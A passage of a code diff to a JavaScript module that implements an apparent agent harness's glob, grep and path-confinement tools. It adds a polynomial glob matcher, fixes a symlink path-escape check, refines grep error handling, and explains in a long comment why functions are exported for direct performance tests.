+ * `RegExp`); a {@link CASE_CHECK_GLOBSTAR} matcher can consume any number
2815
+ * (0..j), computed as a running OR (prefix-OR) rather than an inner loop.
2816
+ */
2817
+ function caseCheckPasses(check, realSegments) {
2818
+ const { matchers } = check
2819
+ const n = realSegments.length
2820
+ let dp = new Array(n + 1).fill(false)
2821
+ dp[0] = true
2822
+ for (const matcher of matchers) {
2823
+ const next = new Array(n + 1).fill(false)
2824
+ if (matcher === CASE_CHECK_GLOBSTAR) {
2825
+ let seenTrue = false
2826
+ for (let j = 0; j <= n; j++) {
2827
+ seenTrue = seenTrue || dp[j]
2828
+ next[j] = seenTrue
2829
+ }
2830
+ } else {
2831
+ for (let j = 1; j <= n; j++) {
2832
+ next[j] = dp[j - 1] && segmentMatches(matcher, realSegments[j - 1])
2833
+ }
2834
+ }
2835
+ dp = next
2836
+ }
2837
+ return dp[n]
2838
+ }
2839
+
2840
+ /**
2841
+ * The leading run of LITERAL directory segments in a glob pattern — the part
2842
+ * the caller named outright rather than asked the matcher to discover.
2843
+ *
2844
+ * `node_modules/**` → `node_modules`; `src/**\/*.ts` → `src`; `*.ts` → ''.
2845
+ * The final segment is excluded: it is the basename, and confinement of the
2846
+ * matches themselves covers it.
2847
+ */
2848
+ function literalDirPrefix(pattern) {
2849
+ const segments = pattern.split('/')
2850
+ const literal = []
2851
+ for (let i = 0; i < segments.length - 1; i++) {
2852
+ if (/[*?[\]{}]/.test(segments[i])) break
2853
+ literal.push(segments[i])
274
2854
  }
275
- const files = result.stdout.split('\n').filter(Boolean)
276
- if (files.length === 0) return { content: `No matches for ${pattern}`, isError: false }
277
- return { content: files.join('\n'), isError: false }
2855
+ return literal.join('/')
278
2856
  }
279
2857
 
280
2858
  async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
@@ -289,8 +2867,8 @@ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
289
2867
  // under grep (Copilot review on #4060). executeBash captures the exit code
290
2868
  // (doesn't reject), so no `; true` mask is needed here. Builders are shared
291
2869
  // with the docker-byok container Grep (#5882).
292
- const { ci, ln, globArg } = buildGrepArgs(input)
293
- const cmd = buildGrepCommand({ pattern, root: realRoot, ci, ln, globArg })
2870
+ const { ci, ln, globArg, grepGlob } = buildGrepArgs(input)
2871
+ const cmd = buildGrepCommand({ pattern, root: realRoot, ci, ln, globArg, grepGlob })
294
2872
 
295
2873
  const result = await executeBash({
296
2874
  command: cmd,
@@ -302,8 +2880,10 @@ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
302
2880
  // grep/rg both return exit 1 on "no matches" — that's not an error
303
2881
  // for our purposes. Only exit 2+ or stderr-without-stdout signals an
304
2882
  // actual failure.
305
- if (result.stderr && !result.stdout && result.exitCode !== 1) {
306
- return { content: `Grep failed: ${result.stderr.trim()}`, isError: true }
2883
+ // Informational notes (a skipped unreadable directory) are not failures (#7981).
2884
+ const grepErrors = splitGrepNotes(result.stderr).errors
2885
+ if (grepErrors && !result.stdout && result.exitCode !== 1) {
2886
+ return { content: `Grep failed: ${grepErrors}`, isError: true }
307
2887
  }
308
2888
  if (!result.stdout) return { content: `No matches for ${pattern}`, isError: false }
309
2889
  return { content: result.stdout, isError: false }
@@ -323,9 +2903,10 @@ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
323
2903
  */
324
2904
  async function safeResolveRoot(p, cwd, cwdRealCache, cwdCacheTtl) {
325
2905
  if (typeof p !== 'string' || p.length === 0) return cwd
326
- const absolute = isAbsolute(p) ? p : resolve(cwd, p)
327
- const { valid, realPath, cwdReal } = await validatePathWithinCwd(
328
- absolute,
2906
+ // #6923 — pass the RAW path; see safeResolve for why pre-`resolve()` is unsafe
2907
+ // (lexical `..` collapse hides a symlink+`..` escape).
2908
+ const { valid, realPath, cwdReal } = await validateRawPathWithinCwd(
2909
+ p,
329
2910
  cwd,
330
2911
  cwdRealCache,
331
2912
  cwdCacheTtl,
@@ -811,3 +3392,65 @@ function runTodoWrite({ input, todoStore }) {
811
3392
 
812
3393
  const TODOWRITE_MAX_ITEMS_RENDERED = 100
813
3394
  const TODOWRITE_MAX_CONTENT_RENDERED = 200
3395
+
3396
+ // Exported for testing — #7898: proving `caseCheckPasses` stays polynomial on
3397
+ // an adversarial pattern is cheapest called DIRECTLY, without the filesystem
3398
+ // I/O a full `executeBuiltinTool` Glob call carries.
3399
+ //
3400
+ // `caseCheckPasses` is itself DEAD CODE in production since #7901/#7910
3401
+ // replaced `fs.glob` with `walkGlob` on the host path — `runGlob` never calls
3402
+ // it — so a direct-call test of `caseCheckPasses` alone proves the SHARED
3403
+ // per-segment matcher (`segmentMatches`/`advanceToken`) is fast when called
3404
+ // through `caseCheckPasses`'s path-level wrapper, but says nothing about the
3405
+ // function that actually ships: `walkGlob`, which calls `segmentMatches`
3406
+ // itself, once per real directory entry `opendir` reads. `segmentMatches` is
3407
+ // exported alongside it for exactly this reason (#7910 review round 2) — a
3408
+ // direct call proves the LIVE matcher stays fast at the SAME full adversarial
3409
+ // scale (a 5000-char synthetic string) `caseCheckPasses`'s own tests use,
3410
+ // which an integration-level `executeBuiltinTool` call cannot: a real
3411
+ // filename cannot be 5000+ bytes (most filesystems cap a single path
3412
+ // component around 255), and at a filesystem-safe scale the absolute-time
3413
+ // gap between O(n) and a REGRESSED O(n²) is too small relative to
3414
+ // `executeBuiltinTool`'s own overhead (root resolution, the deadline race,
3415
+ // confinement) to assert reliably — measured directly: the exact mutation
3416
+ // that makes the 5000-char direct-call test take 69.5s made a 250-char
3417
+ // on-disk equivalent take only 120ms, comfortably under ANY CI-safe budget.
3418
+ // The integration-level tests this suite keeps therefore assert CORRECTNESS
3419
+ // (matched/not-matched) and basic non-hang sanity through the real dispatch,
3420
+ // not a tight complexity bound — that proof lives in the direct calls, at
3421
+ // full scale, where the gap is actually measurable.
3422
+ //
3423
+ // `walkGlob` (#7901) is exported for a different reason: `runGlob`'s own
3424
+ // deadline/abort RACE (`Promise.race([collect, deadlineReached])`) resolves
3425
+ // via `deadlineReached` — a timer/abort callback independent of whether the
3426
+ // walk itself ever notices `state.stop` — so a `executeBuiltinTool`-level
3427
+ // test proves the TOOL CALL returns promptly on abort, but NOT that the walk
3428
+ // stops generating filesystem work in the background afterward, which is the
3429
+ // actual #7356 defect (an orphaned walk left running, and running CPU/RSS,
3430
+ // after the tool result was already sent). Calling `walkGlob` directly and
3431
+ // timing how long its OWN promise takes to settle after `state.stop` is set
3432
+ // proves that property precisely. `expandBraces` (#7918 review) is exported
3433
+ // for the same reason: its cost bound is a property of the function itself,
3434
+ // and timing it through a whole Glob call would fold in the walk.
3435
+ //
3436
+ // `parseRangeGroup`/`hasRangeBrace` (#7951) are exported for the same
3437
+ // direct-call, full-scale reason as `expandBraces`: the range arithmetic
3438
+ // (padding width, step direction, the zero-step refusal) is a property of
3439
+ // `parseRangeGroup` alone, and `hasRangeBrace`'s gate shape needs its own
3440
+ // proof independent of `expandBraces` ever running. `hostBraceDepthExceeded`
3441
+ // (#7951 review) likewise: it runs over every expanded pattern before the
3442
+ // walk, so its own cost is timed directly, apart from the walk.
3443
+ export {
3444
+ compileCaseCheck,
3445
+ caseCheckPasses,
3446
+ segmentMatches,
3447
+ walkGlob,
3448
+ acquireGlobWalkSlot,
3449
+ globWalkSlotStats,
3450
+ expandBraces,
3451
+ GLOB_BRACE_EXPANSION_CAP,
3452
+ parseRangeGroup,
3453
+ hasRangeBrace,
3454
+ hostBraceDepthExceeded,
3455
+ isVerifiedDirIdentity,
3456
+ }